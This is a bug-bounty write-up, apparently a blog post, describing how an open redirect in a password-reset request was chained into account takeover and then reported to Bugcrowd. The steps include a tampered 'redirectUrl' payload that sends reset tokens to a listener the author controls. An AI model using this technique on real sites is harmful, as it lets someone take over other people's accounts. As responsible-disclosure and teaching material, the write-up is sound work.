Hello everyone,

I hope you are doing good. After a very long time I am back with a new article about how I chained open redirection to full ATO. Let me tell a story in short. :P

I reported a “Token leakage via referer response”. After some time this issue resolved and so I decided to look into that issue again to verify. Then I noticed an endpoint with “redirectUrl” while fixing that issue they make some changes and added a new parameter on HTTP request then I changed the RedurectUrl to google.com. But while I checking the mail there it wasn’t injected with google.com. But after opening that link It successfully redirected to google.com.

First I thought to report it quickly but I think is it possible to chain? If it is possible it will be worthy to report it. Then I noticed with the RedirectUrl= is reflected with reset token. Then I decided to report it.

This is similar to host header injection, 0auth flaw but in a different scenario. I think it will help someone to find a similar type of issue so I wrote this article and shared with you. If I reported it as open redirection it will be accepted as p4 i.e low priority risk bug on Bugcrowd.

About Open redirection:

Invalidated redirect vulnerabilities occur when an attacker is able to redirect a user to an untrusted site when the user visits a link located on a trusted website. This vulnerability is also often called Open Redirect.

Portswigger Lab: https://portswigger.net/academy/labs/launch/67ab900d88bcd094478d14d157338de5bf87302c124c802219a8ef29a4a65e0f?referrer=%2fweb-security%2fdom-based%2fopen-redirection%2flab-dom-open-redirection

Steps to reproduce this issue:

1. First I logged via https://redacted.vulnsite.com/login then click on forget the password.

2. Then I opened the burp suite to intercept the request and clicked on the “Forgot Password” and entered the victim email. Send that request to the repeater and change the request to:

And opened a terminal and run this command “python3 -m HTTP. server 80” to receive the requests.

Then I changed the request as {“redirectUrl”:”http://127.0.01/?reset-result={0}&reset-callback-uri={1}"}

3. When I open the reset link as a victim. It redirected to http://127.0.01/Secret_reset_token

4. While I checked the response I got with the reset link.

Now I can reset the password just by replacing the URL(https://redacted.vulnsite.com/Secret_reset_token) with that reset link. Now we can set a new password which leads to Full Account Takeover.

Since it is similar to host header injection. Bugcrowd Application Security Engineer changed the VRT as host header injection with nice commentary! ❤ :)

I am also learning but here is a Few Takeaways from my side:

1. First hunt on Vulnerability Disclosure Program (point-based, hall of fame, swag based less competition).
2. I suggested you learn some methodologies on Vulnerability Disclosure Program and apply it on paid based program. If we move on directly to the public paid program there will be a low chance of getting a bug or duplicate which leads to frustration.
3. Invest some time on understanding the platform. E.g Bugcrowd accepts rate-limiting issue but Hackerone will not accepted. (Depend on program also)
4. Read carefully the program policy and the scope.
5. Make a checklist and apply it. i.e CSRF by changing POST to GET, SQL in the password reset page, host header injection by changing header etc.
6. Understand the exploitation and impact of the issue before you report.
7. After the fixation look for bypass.

Your feedback will be appreciated to improve and write more.

Thank you for taking some time to reading! Happy hacking/hunting!

Connect with me on:

Twitter: https://twitter.com/bishal0x01

Instagram: https://www.instagram.com/bishal0x01/

YouTube: https://www.youtube.com/therbishal

References: https://blog.detectify.com/2016/08/15/owasp-top-10-unvalidated-redirects-and-forwards-10/

https://portswigger.net/web-security/host-header